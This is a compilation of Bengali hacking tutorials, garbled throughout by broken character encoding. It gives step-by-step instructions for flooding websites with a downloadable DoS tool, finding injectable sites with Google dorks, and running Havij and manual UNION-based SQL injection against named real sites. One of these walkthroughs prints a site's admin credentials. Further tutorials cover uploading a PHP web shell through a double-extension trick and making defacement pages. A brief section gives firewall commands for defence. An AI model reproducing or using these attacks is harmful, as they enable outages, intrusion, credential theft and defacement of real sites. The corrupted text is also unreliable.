এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
